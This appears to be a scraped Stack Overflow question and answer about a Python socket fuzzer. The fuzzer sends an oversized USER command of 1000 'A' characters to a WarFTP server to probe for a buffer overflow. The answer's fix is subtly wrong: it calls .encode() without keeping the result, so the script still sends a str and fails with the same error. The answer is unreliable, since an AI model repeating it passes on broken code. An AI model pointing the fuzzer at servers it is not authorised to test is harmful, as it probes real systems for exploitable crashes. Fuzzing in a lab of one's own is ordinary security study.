'creating a fuzzer for ftp [duplicate]
I keep getting the error when I try to connect to the ftp server:
a bytes like object is required not str
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "\x41" * 1000
s.connect(('192.168.43.129',2222))
data = s.recv(1024)
print ("Sending data to WarFTP...")
s.send('USER '+buffer+'\r\n')
data = s.recv(1024)
s.send(' PASS PASSWORD '+'\r\n')
s.close()
print ("Finish")
Solution 1:[1]
You need to encode your string with .encode().
buffer = "\x41" * 1000
data_to_send = 'USER ' + buffer + '\r\n'
data_to_send.encode()
s.send(data_to_send)
Some documentation you may find useful
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 | NicoCaldo |
